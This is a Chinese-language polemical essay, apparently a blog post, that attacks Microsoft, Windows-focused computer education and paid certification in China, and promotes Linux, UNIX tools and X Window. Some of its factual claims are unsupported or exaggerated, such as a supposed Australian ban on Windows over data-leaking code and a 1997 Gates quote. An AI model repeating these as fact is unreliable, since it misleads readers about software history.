    Windows 笼罩下的中国计算机教育

    说句丢脸的话,比尔盖茨很久以前是我的偶像……

    在中国,比尔盖茨被很多人奉为神圣,"少年电脑天才",甚至有的人提到他的名字就做出"抱拳对天"的姿势。很多人谈到微软的"新技术","高科技" 都是眉飞色舞。各种"VC编程圣经","深入了解 Visual C++"之类的书,在开头几页都会出现非常肉麻的字眼,"在那团团的混沌中,一个开天辟地的精灵,Windows 1.0,诞生了……"

    微软的软件被这么多人盗用,那么人们是怎样使用这些盗版程序的呢?先看看电脑培训班,教的都是一些 DOS 命令,打字,Windows 基本操作,Word 文档处理,PowerPoint,高级班可能有 Excel,Access…… 参加各种微软认证考试,MCSE,MSDE 的人络绎不绝。考试辅导班都贴出了"280元,考过为止"之类的字样。考试参考资料更是昂贵,有些电脑书店整整两书架都是"Microsoft Press"的东西。我有个同学参加认证考试,每门考试都要200多元。而且你一次考不过可以再考,又要交钱。他后来还津津乐道跟我说,看我,花了 XXXX(一个四位数)元考过了微软认证,得到一张比尔盖茨亲笔签名的证书和价值6000元的 Windows XP 内部发行版。

    "电脑要从娃娃抓起",我们再来看看娃娃们学的是什么。大部分家长给孩子买了电脑之后,他们首先就会装一个盗版的 Windows,然后买来盗版的游戏开始玩。如果哪个孩子会用 Delphi 编程序,那可不得了。报社记者,电视台争相报导,说,某某学校的初中生某某,在别人都还在玩电脑游戏这种"初级阶段"的时候就已经用 Delphi 写程序了。镜头还瞄准了他显示器上面的像框中的比尔盖茨头像!

    我刚进入大学计算机系时还不懂得什么是操作系统,因为我以前只用过"中华学习机"。看到新入学的同学们各个谈论的都是 "Windows 95","VC"…… 我简直觉得我落后了好几十年一样,整个一土人,根本跟他们答不上话。好不容易找到一个比较熟的同学问了一下:"你们天天谈论的瘟95是什么啊?"答: "win95就是一个操作系统,跟DOS是一类。""朵死是什么?" "你连DOS都不知道是什么?别在计算机系混了。" 学校上课当然不讲VC编程之类的东西,但是上 Pascal 的老师有一次就说:"嗨,我们学校真是落后。现在别人都用 C, C++,甚至 VC 了,我们还在讲 Pascal。不知道什么时候才能有VC课啊。你们出去也是要用VC的,只好自学了。" 于是,有些同学很多时候上课都捧着一本很重的"Windows 编程大全"之类的书,根本没有听课。吃饭时就念念有词的跟我说,"代码的优化是无止境的","匈牙利命名法真是伟大的发明" …… 这就是中国很多大学计算机系的情况。

    感觉到无知了?这不是偶然的,而是微软长久以来埋下的伏笔。它要让无知的大家都把它奉为神圣,它要让支持UNIX,Xwindow的人一旦说 UNIX 好,Xwindow 好的时候,都被一群人围着说教:"这个 Windows 也能做到","你对 Windows 有偏见","微软才是主流啊","你敢瞧不起 win2k?",".NET 就是世界潮流","微软的毕竟是新技术","有钱就是有技术"…… 甚至在一番论战比较后败下来还是要说:"Windows 性能差点,但是易用性强","Windows 是老百姓用的,要求别那么","微软那么有钱,以后想超过 UNIX 还不容易吗?"……

    发达国家的计算机教育

    我前段时间在 USENET 发文问有关 Scheme 语言的问题时,认识了一位丹麦人。他解决了我所有的问题,并且建议我阅读一些很"深奥"的有关程序语言语法,文法的书,他告诉我很多网站可以学习 LISP,Scheme,人工智能,算法。他叫我看 Jonathan Rees 的论文 "Syntactic Closures"。他还打包给我寄过来一份 MIT 的 "How to Design Programs"。他说他在自己的 PC 机上装的是 Linux,他用 Emacs 编辑,运行Scheme 程序。他对 Emacs 的了解和爱好真是使人惊讶。他大学本科毕业时做的毕业设计是一个 Scheme 解释器。这对于我来说是望尘末及了。

    他是那么的不厌其烦,我的每一个问题他都详细的回答。我有时都觉得过于详细了,怎么这么耐心啊?我觉得他似乎是我的高中老师。他是什么样的人呢?我好奇的打听了他的情况。原来,他是丹麦一所普通高中的计算机老师。

    他说他在高中里讲授程序设计和算法,计算机语言文法。他说用 Scheme,他的学生不用再为内存泄漏等程序语言本身的问题而烦恼,而专注于问题和算法本身。有利于培养学生解决问题的能力,特别是用计算机解决数学问题的能力。

    天哪!为什么欧洲出现那么多数学家,几何学家?你看看别人重视的是什么!我们的计算机教育如果继续这样下去,只会沿着弯路越走越远!

    微软和它的朋友们的如意算盘

    下面来看看微软的收入是怎么来的。首先,Windows 98系列操作系统,一个就是 100多美元,每次升级又是几乎同样的价钱。Windows NT 还要贵几倍,而且有用户数目限制,5个用户的,10个用户的…… 以后如果要增加用户数目还要按比例付钱。

    花了如此多钱买来的操作系统就能用了吗?它竟然连压缩程序都没有提供!你装上Windows 之后一般第一件事就是去下载一个 WinZip 吧,"只要 29 美元"。Windows会中病毒啊,马上花 70 美元买一个 Norton AntiVirus 吧。还有黑客呢?再买一个Norton Internet Security 好了,100 美元。系统需要优化,磁盘需要整理,买一个Norton System Works 是你最佳的解决方案,100美元。

    可是你现在还是不能干正事啊!你想要一个 Word, PowerPoint?那就买一套 Office XP 吧,一起买便宜些,$459.90。

    那些程序不会用啊!那些菜单怎么设置,到底有什么功能啊?看"帮助"也学不会。买本书看看吧,我推荐"Special Edition Using Microsoft Office XP",不贵,$27.99。这本书里面大部分是屏幕抓图,还是买一本旧的比较划算,$17.85。

    你如果只是当个秘书,上面的差不多还凑合了。可是你有更高的追求,你想成为 Windows程序员。首先买一个 Visual Studio.NET 吧,要不然怎么编译程序。$494.95。

    为了紧跟微软动向,世界潮流,不能不注册个 MSDN 什么的吧?这个贵一点,不过物有所值啊,$2,799。

    嗯,你现在已经是上层阶级,白领人士了。你现在可以像这样"自由"的,"安全"的生活了。

    为什么要反对使用 Windows

    很多人都说不应该完全否定 Window,Windows 也有它的长处。不应该骂微软。

    对。 Windows 容易操作,适合普通用户。如果微软把它自己定位在 P&G,Philips 那样的地位,能够给我们的百姓提供周到的,完善的,价廉物美的服务。那我肯定是很喜欢它的。但是从上面的种种情况说明,微软是一个野心极大的国际垄断组织!它的产品没有一个是不出问题的:Windows 不稳定,容易中病毒,而微软不为大家免费提供杀毒软件。我就是要让你们花钱买我的朋友 Symantec 的杀毒软件,谁叫你们已经上了我的贼船?这叫什么售后服务啊!

    你买来微软的程序,安装的时候一般都有一个协议,说:" 由于微软的程序造成你的数据损坏或丢失,微软概不负责。" 我想很多人肯定觉得这个不合理,不想按那个 "I accept"。但是你的软件买都买来了,钱都花了,现在一按 "I decline",安装程序马上就会退出。你只好被迫点击了 "I accept"!这不是不平等条约吗?

    我已经目睹了好几个朋友的文档被 Microsoft Word 损坏,有的是编辑了十多天的30多页的论文,有的是费了很大工夫做出来的个人简历,那个朋友为此失去了到自己向往的P&G 工作的机会。就在他要投简历的前一个晚上,就在那一瞬间…… 不知道他痛哭的时候有没有想起要投诉微软,可是谁叫我们用的都是盗版呢,况且你还点击了 "I accept"。

    微软仗势已经占有大部分PC市场,制定不符合国际标准的"微软的标准",以不合理的方式压制其它公司的软件,这个问题已经在美国司法部闹了很久了。他甚至在 Windows系列操作系统中放置能够通过网络泄漏用户信息的代码,以至于 Windows 刚进入澳大利亚时被澳大利亚政府禁止使用。

    有些人说:"微软毕竟开创了一个历史,造就了今天的 IT 行业。" 但是,如果没有微软,我们今天早就用上非常稳定,非常可靠,非常方便,非常"傻瓜"的软件了!微软是阻挡信息技术发展的罪魁祸首。

    微软的程序的工作方式(注意,我只是说操作方式,病毒的事情另外算)确实适合于一般家庭,上上网,发发邮件,打打游戏都不错。可是微软却要把自己包装成什么 "高科技"企业,要在世界各地设置"研究院",在大学计算机系赠送不适合用于科研的 Windows产品,甚至出钱请图灵奖得主来中国畅谈"二十一世纪的计算",还在大会上宣传自己的 .NET 技术。非要把别人认为自己是科学的,自己是领导世界高科技的。但是呢?它什么高科技也没有。欧洲,美国,哪一个关键部门在用微软的东西?NASA? DOE? CERN?你仔细想一想,微软的程序对人类到底有什么重大作用?

    什么是 Windows 能干而 Linux 干不了的事情?---
    "Windows 能干而 Linux 干不了的事情,那就是不需要干的事情。"

    有个朋友看我半年没有用 Windows,有时就会问我:"你只用 Linux,有没有发现有些Windows 能处理的事情 Linux 干不了?"---
    我回答说:"Windows 能干而 Linux 干不了的事情,那就是不需要干的事情。"


    Windows 能做的有益的事情 Linux 都能做---
    Windows 下的某些功能确实是我们需要的,那么 Linux 的开发者们和用户也需要这种功能,他们就会去实现这种功能,而且比 Windows 的方式好得多。由于大多数科学家,工程师用的都是 Linux 或者某种商业 UNIX, 所以几乎所有商业的科学工程程序,比如Matlab, Mathematica, AutoCAD, Candence的,Synopsys的,Avant! 的……全都是先有UNIX 的版本(包括Linux),然后再考虑移植给 Windows,甚至根本不移植给Windows,因为 Windows 的机器一般没有足够的能力运行这样的程序。你不要以为只有 Windows 才有 PSpice, UNIX 的 HSpice 要好得多,而且可以运行在大型主机上。当然它们不是免费的,但是它们值那个价钱。

    但是 Windows 下有些东西在 Linux 下没有很相似的,或者你找到很多类似的,但是它们每一个比起 Windows 的那个程序都要差很多,那么原因有两种可能性:

    有一个完全类似的程序,但是由于它乍一看不漂亮,被你忽略了。而其它程序虽然看起来很漂亮,但是它们是一些初学编程的人写的。现在由于 Gtk, Qt 的诞生,Linux 下开发图形界面程序极其简单,很多初中生甚至小学生都可以随手编出一些漂亮不中用的程序。如果你整天寻找这样的程序挑来挑去,永远也找不到你满意的。当然也有一流的程序用 Gtk 和 Qt,比如 GVIM 就可以用 Gtk 作为图形界面,我还知道 Synopsys 一些程序用了 Qt。

    我曾经也犯过这样的错误,从外表区分一切。结果优秀的 FVWM, lftp, Mutt, wget 都被我忽略过。当我找回它们的时候,我是那么的羞愧不已,它们现在都是我的朋友 我第一次看到 FVWM 觉得它只不过是一个有很厚很难看边框的东西。可是现在,我的同学看到 FVWM 都说:"哇!真漂亮。"

    有另一种完全不同的方式可以达到相同的目的,甚至更好。

    很多人很关心 Open Office, Star Office, AbiWord, ... 他们多么盼望有一天某一个Linux 程序能够完全兼容的打开一个复杂的 doc 文档。但是你永远也不可能有那一天。为什么呢?因为微软为了占有市场,必定不会让其它系统的程序能够完全兼容它的文档格式。它一定会不断变化 doc 文档的内部结构,隐藏一些秘密,让其它公司的程序打开 doc 文档时总是有某种问题,从而你必需购买 Microsoft Office 和 Windows。

    你应该想一下,那么多的高智商的大学教授,科学家,学生,他们用的都是 Linux 或者其它类型的 UNIX,他们没有 Word 可用,怎么处理文档呢?这么多年没有一个像Open Office 的程序出现,难道大家没有办法写文档吗?

    显然不是这样。你看看那些高水平的学术杂志,论文,那些大学教授的网页,那些漂亮的幻灯片,它们是什么做的?原来 UNIX 用户早就有非常方便的 troff, LaTeX, SGML等东西可以处理文档,而且它们比起 Word 都要高明的多。Word 显然被这些大拿忽略了,以至于很久以来没有人想在 Linux 下开发一个类似 Word 的程序,除非某些公司想抢微软的饭碗。

    很多人留着 Windows 在硬盘上的原因无非是为了用 Word 和 PowerPoint。我见过一个教授,他的 Windows 笔记本电脑上除了 PowerPoint 什么都没有。有一天演示的时候,他指着堆乱字符说:"对不起,这是一个公式……怎么每次都是这样……" 其实有比PowerPoint 好几百倍的东西可以制造幻灯片,你可以用最简单的方法制造世界一流效果的论文和幻灯片。你待会儿可以看看我的TeX网页,你就会知道为什么我可以完全离开 Windows。

    Windows 能做的那些没用的事情 Linux 永远做不好

    电脑游戏
    有些人说 Linux 下不能玩 Windows 下所能得到的所有游戏。的确,Linux 下虽然也有少量的游戏,比如 Quake。但是它没有 Counter Strike, 没有 Star Craft, ……

    并不是说电脑游戏不该玩,但是应该适可而止。电脑是用来处理事务,帮助你学习,解决问题的工具,而不是一个玩具!整天沉迷于电脑游戏中,而不出去感觉外面的世界,你会变得越来越冷酷,越来越缺乏人情味。你与真实的世界越来越远。

    你可以在 CS 里杀人,你可以在 Tomb Raider 里探险,你甚至可以在 Tony Hawk's Pro Skaters 里滑板…… 但是 It's not real!你虽然有很高的"反恐技巧",但是遇到歹徒的时候,你是那么的怯懦;你虽然控制 Laura 伸手敏捷,但是你打篮球的时候怎么总是被人断球?你虽然可以轻易的在 THPS 里作出一个 "360 kickflip to hangten grind to fakie",但是你踩在自己的滑板上的时候还不会 ollie!

    说回来,如果你偶尔玩一下电脑游戏未尝不可。但是世界上有远比 Windows + PC 更好的游戏方式。Sony 的 PlayStation2, SEGA 的 DreamCast, Nintendo 的 N64,Namco的街机……每一个都比 Windows 游戏精彩,每一个都有如此高的3D性能,以至于Pentium4, Itanium + GForce4 都无法与它们比美!

    Linux 的用户们都是关心解决世界的关键问题的份子,他们哪里有时间用自己的机器来玩游戏啊?他们每天用Linux高效的做完自己的工作就到阳光下享受自然去了。要玩游戏也是玩一些类似推箱子,贪吃蛇之类的智力小游戏。所以,你知道为什么 Linux 几乎没有游戏了吧?

    "整理硬盘,优化系统"

    这是一个非常有意思的话题,仅次于有关"病毒"的话题。相信很多 Windows 用户都有整理硬盘的经历。在很多 Windows 用户眼里,"硬盘用久了,会出现碎片,速度会减慢,需要一个程序来整理,整理硬盘的时候不要做其它工作",这好像是天经地义的事情。

    我也曾经津津有味的看着 Norton Defrag 一点一点的把我的硬盘排序,调整,用图形的方式显示出来,然后报告100% 没有碎片。你的硬盘现在已经达到最佳状态。" 我现在才发觉我那时是多么的幼稚。

    Linux 和 UNIX 用户似乎从来没有"整理硬盘"这种说法呢?你觉得很奇怪吗?如果你觉得很奇怪,那说明你的思想在某种程度上被微软的垃圾程序禁锢了。你需要明白,UNIX 的大型主机很多必须是一天24小时,一年365又1/4天不停运转的,要是每个星期都要整理一次硬盘,在整理的时候几乎不能干任何事情,那是绝对行不通的!

    Linux 机器根本不用整理硬盘,这就是为什么没有看到过 Linux 用户整理硬盘。Linux 的文件系统是比 Windows 的 FAT, FAT32, NTFS 高明得多的文件系统,它们不但可以对文件设置权限,实施完全的保护,而且可以"越用越整齐","越用碎片越少"!你应该把文件大部分放在 Linux 的分区,而不是 Windows 分区,因为它比 Windows分区可靠得多。

    还有更滑稽的事情就是有很多"Norton System Doctor","Windows 优化大师","超级兔仔注册表魔法" 之类的程序存在,而且价格昂贵。似乎一个操作系统本来应该有很多问题,需要别的厂商做程序来"优化"它,而且为了得到优化,你需要付钱!这些问题 Linux 根本就没有,所以不需要什么优化。Linux 内核本身就是高度优化的。


    IDE

    有些人在抱怨为什么 Linux 没有一个良好的 IDE 开发环境。Linux 现在已经有一些IDE 了,但是总是有很多问题。你是不是正在寻找,正在期望 Linux 某一天可以有一个VC那样的开发环境?你有没有发现你正在进入微软给你设下的怪圈?你为什么一定要用 IDE?你说:"IDE 开发迅速,调试方便,适合大型程序……" 那说明微软的程序在你脑子里已经比较根深蒂固,你需要好好清醒一下了,看看我来告诉你。

    高明的 UNIX 程序员不用 IDE,IDE 从来就是给初级 Windows 程序员用的。

    你看看大型的 UNIX 程序,包括 Linux 内核,各种网络服务程序,Xwindow 程序在内,哪一个是 IDE 搞出来的?我们实验室的 EDA 程序也没有一个是 IDE 弄的,我还知道Candence, Synopsys,Mentor 的高性能的图形界面 EDA 程序也都不是 IDE 写的。你信不信,微软的人在写 Windows 本身的时候也根本不用 IDE。微软内部程序员最喜欢的编辑器其实是 VIM,用 VIM 的微软程序员上次向乌干达的可怜儿童捐助了1000多美元,这是值得称赞的。

    有一次某杂志采访一些出名的 Linux 内核程序员,包括 Linus 在内,没有一个人用IDE,有的人用 VIM,有的用 Emacs,只有 Linus 说"GNU Emacs is evil",但是其实他用的是一种跟 Emacs 有同样键绑定功能的 MicroEmacs。大家都是用编辑器编辑了程序文件,然后用 make 这样的自动工具调用 gcc 编译器完成编译工作的。甚至高级的 Windows 程序员也不用 IDE,他们可以从命令行调用 cl,nmake 来编译自己的程序。虽然这样的 Windows 程序员很少,但是他们却是最了解 Windows,最高明的Windows 程序员。

    为什么 UNIX 程序员不用 IDE?明白了这个道理你就能体会到 UNIX 的设计思想了。首先,一个 IDE 集成了编辑器,编译器,汇编器,调试器,跟踪器…… 这个编辑器功能肯定比不上 VIM 或 Emacs,编译器比不上 GCC,汇编器比不上 as,调试器比不上 gdb,ddd, 跟踪器比不上 strace, ltrace, truss。你得到的是一套整合的低能的程序。如果你对调试器的功能不满意,你只好换用另外一套 IDE,但是这套 IDE 的热键,菜单,编辑器功能,按钮…… 跟原来那个有很大不同。你不得不花很多时间来熟悉新的环境,而不能保持原来的某些东西。

    而在 UNIX 下就不一样了。你可以用你最喜欢的 VIM 编辑程序,你在 VIM 里可以调用GNU make,make 可以调用 gcc, ld, ... make 的出错信息可以被 VIM 捕获,VIM 能帮你在源程序里定位。你如果喜欢 icc, 你可以让 make 用 icc 而不是 gcc。你如果觉得 gdb 跟踪变量时比较麻烦,你可以用 ddd 来显示各种数据结构之间的关系。你还可以在 Emacs 里调用 gdb,那样就可以同步显示源代码了。而且 VIM 和 Emacs 还可以编辑很多其它东西,比如信件,LaTeX 文档,HTML,配置文件…… 你不用另外找一个什么编辑器来干这些杂活了。很多程序比如 Mutt, tin 都可以在内部使用 VIM,这样就更方便了。实际上 make 在其它方面还能帮你很多忙,我的每一个比较大型的 LaTeX文档都是用 make 维护的。

    Linux 能干的高精尖的事情 Windows 都干不了

    当然有很多事情是Linux/UNIX的专利了。因为 Windows 只能装在 PC 机上,好像以前也有 Alpha 可以使用 Windows NT,但是就是没见到有人用。PC 机的能力是很低的,像我们编程序处理 NP-Hard 问题的人,用 Windows 的机器显然速度不够,而且有时一个问题算上几天甚至几个星期,Windows 机器是以"死机"著称的,我们怎么能放心?所以几乎所有科学计算程序,EDA 程序,高性能图像处理程序都不是 Windows 的。他们有时也会移植一些给 Windows,但是常常降低那些程序的能力。你比较过 Windows 版本的 Mathematica 和 Linux 的有什么区别吗?

    IBM 制造的最大的并行计算机有 8000 多个处理器,Windows 不可能有能力管理这么多处理器,它用的是什么操作系统?答案是 Linux。

    《泰坦尼克号》电影里的三维动画,那么细腻逼真,Windows机器能做出来吗?不行。那也是 Linux 机器做的。

    民航总局用来训练地情人员的虚拟现实训练设备,Windows 当然无能为力。那都是商业的 IRIX 机器。

    UNIX 是最早支持 TCP/IP 网络协议的系统。它上面有很多可以互相协作的网络服务程序,它们经过多年的使用和修订,已经达到比较完善的程度。而就在1997年,微软的比尔盖茨还在扬言:"Internet 是没有前途的。" 微软的这个"远见卓识"大家应该都已见识,它后来加上的网络服务程序IIS漏洞之多,让公安部都频频发出警报,大家也是见识了的。

    其实你知道了,Windows 没有一样有用的事情能比 UNIX 干的更好。

    Linux 干不了的有用的事情 Windows 照样干不了
    当然 Linux 不是万能的。它也有不能干的事情,电脑也有干不了的事情。但是 Linux干不了的事情,Windows 肯定也干不了。这些事情就是我们需要探索,需要努力的事情了。在你探索的过程中,Linux 必定是你的好伙伴。

    不要把Linux和Xwindow掩盖起来!不要把我们的用户当成傻瓜。

    什么?你早就知道 Windows 是垃圾?噢!你怎么不早说呢!害我废话这么多。嘿嘿。

    "好了。你知道 Windows 是垃圾,你现在用什么"

    "Linux + Xwindow"

    "那我问你,Xwindow 是什么样的?"

    "不就是跟 Windows 差不多吗?只不过 'Start' 按钮比较方,而且上面不是一个Windows 标志,而是一个脚丫子。点击一下居然还有很漂亮的中文菜单。我喜欢!"

    "你知道什么是'根窗口'吗?"

    "不知道。从来没听说过呢?"

    "根窗口就是遮盖整个屏幕的那个最大的窗口。"

    "哪儿有什么窗口啊!我没有看到呢?"

    你发现了问题吗?这些 Linux 用户说是在用 Linux 和 Xwindow,但是他们对 Linux和 Xwindow 几乎完全不了解。很多人用了那么久 Xwindow 都不知道根窗口是什么东西,不知道其实按钮也是窗口,不知道窗口管理器和其它程序有什么关系,大家都以为窗口上面的按钮是程序自己放上去的,不知道窗口? quot;class name","resource name"是什么东西。他们也不知道 .Xdefaults 是用来干什么的。特别是他们很多人都不知道 Xwindow 的字体是如何命名的,什么是 fontset,有了一个新的字体也不知道怎么安装。

    他们被遮在 Linux 之上的一层一层的包装迷惑了,他们等待有图形界面的工具来帮助完成一切事情,他们认为 Linux 跟 Windows 一样,只是麻烦一点。他们知道 Linux内核很好,但是他们感觉不到 Linux 和 Xwindow 在操作层面的天生的先进性,随后不久就把 Linux 完全删除掉了。你发现没有,要用户理解 UNIX 和 Xwindow 的操作层面的先进性,才是留住用户的最好办法。如果用户体会不到操作时的方便和高效,内核再好他们也不会理会。

    但是用摹仿 Windows 的作法来吸引用户,永远会失败的。因为 Linux 如果摹仿Windows那一套低效率的方式,那么 Linux 的这套"低效率方式"永远比不上Windows 的那一套"低效率方式"。那么用户就会说:"这个 Linux,没有一样比的上 Windows。"

    Linux 天生就是继承了 UNIX 的高效的工作方式,为什么我们要把它掩盖起来?我们为什么只告诉用户 KDE 的菜单怎么用?我们为什么不能像早期的 Xwindow 书籍那样第一节就告诉用户什么是 X server, 什么是 X client,什么是 Window Manager, 什么是根窗口。第二章就告诉用户窗口有哪些属性,什么是 classname, resource name, hint,怎样使用 .Xdefaults, xrdb ……

    在这里我又不得不说一下那些 Linux 的发行公司和写书的人,他们把 Linux 和Xwindow 包装起来,却没有从基本上告诉用户 Xwindow 的工作原理。很多书籍讲授的层次就是在Gnome, KDE 的菜单操作的层次,靠大量抓图来占篇幅,"繁荣"Linux 书籍市场。

    现在很多人已经把能够利用别人的库写出一个好看的程序作为自己编程水平的象征。在这"图形化","可视化" 的年代,你如果还在用 troff, LaTeX 写文档,你还在用VIM 自己编辑 HTML,用 Mutt 处理邮件,你还在用文本模式的 gdb 调试程序,你还在用Xlib 写程序, 你还在用 tin 上 USENET,你还在自己写 Makefile,写机器代码,你还在玩 Clossal Cave 这样的字符模式冒险游戏,那你就是老古董。

    其实这种思想是错误的。虽然你是一个坚决的 Linux 支持者,但是你的思想是 Windows的思想。你认为图形界面,菜单,按钮就可以解决一切问题,就可以给你高效方便。你还是没能摆脱微软给你的潜移默化的东西。你其实离不开 Windows 那样的环境,你迟早会删掉自己的 Linux。
    查看(691) 评论(4) 收藏 分享 管理

352/2<12
Open Toolbar